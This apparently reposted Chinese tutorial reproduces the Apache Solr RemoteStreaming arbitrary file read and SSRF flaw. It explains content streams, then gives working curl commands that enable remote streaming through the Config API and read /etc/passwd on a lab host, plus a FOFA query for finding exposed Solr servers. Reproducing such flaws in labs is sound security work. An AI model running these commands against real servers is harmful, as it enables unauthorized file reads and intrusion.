栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Apache Solr RemoteStreaming 任意文件读取和SSRF

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache Solr RemoteStreaming 任意文件读取和SSRF

文章目录
  • 一、Apache Solr简介
  • 二、内容流与RemoteStreaming
    • 1、内容流
    • 2、RemoteStreaming
  • 三、漏洞复现
    • 1、访问到Apache Solr的管理控制台


一、Apache Solr简介

Apache Solr是一个功能强大的开源搜索服务器,它支持REST风格API。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

影响版本:Apache Solr <= 8.8.1
1、下载地址:
https://solr.apache.org/downloads.html(可访问最新版本)
https://archive.apache.org/dist/lucene/solr/(可查看所有版本)
2、在线靶场
vluhub
https://labs.do-ta.com/
空间搜索引擎FOFA输入:app="APACHE-Solr",可以查看目前使用Solr的系统,如下图:


二、内容流与RemoteStreaming

我们需要学习一些额外的知识,以便了解为何我们的Payload要如下那样设置。

1、内容流
内容流来源:当前请求处理程序可以通过多种方式获取内容流:
1、对于多部分文件上传,每个文件都以流的形式传递。
2、对于内容类型不是 application/x-www-form-urlencoded 的 POST 请求,原始的 POST 主体将作为流传递。完整的 POST 主体被解析为参数并包含在 Solr 参数中。
3、参数 stream.body 的内容作为流传递。
4、如果启用了远程流并在请求处理期间调用了 URL 内容,则每个参数 stream.url 和 stream.file 参数的内容将作为流获取并传递。

默认情况下,curl 发送一个 contentType=“application/x-www-form-urlencoded” 头。如果需要测试SolrContentHeader内容流,则需要使用 curl -H 标志来设置内容类型。

2、RemoteStreaming

远程流传输,默认情况下是禁用状态,开启此选项,可以将URL的内容作为流发送到给定的SolrRequestHandler。

在启用远程流处理之前, 应确保系统已启用身份验证。

如果未在 solrconfig. xml 中指定 enableRemoteStreaming,则默认行为是不允许远程流 (即 enableRemoteStreaming = “false”)。
远程流也可以通过 Config API 启用,如下所示:

curl -d '
{
  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}
}
' http://localhost:8983/solr/techproducts/config -H 'Content-type:application/json'

如果使用 enableRemoteStreaming = “true”,将允许任何人向任何 URL 或本地文件发送请求。如果启用了 DumpRequestHandler,它将允许任何人查看系统上的任何文件。


三、漏洞复现 1、访问到Apache Solr的管理控制台
访问请求:ip:8983

2、访问http://192.168.209.134:8983/solr/admin/cores?indexInfo=false&wt=json
获取到数据库名称为:demo

3、利用curl命令,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming。

curl -i -s -k -X $'POST' 
     -H $'Content-Type: application/json' --data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' 
     $'http://192.168.209.134:8983/solr/demo/config'


4、通过curl工具,利用Stream.url读取任意文件

curl -i -s -k 'http://192.168.209.134:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/318890.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号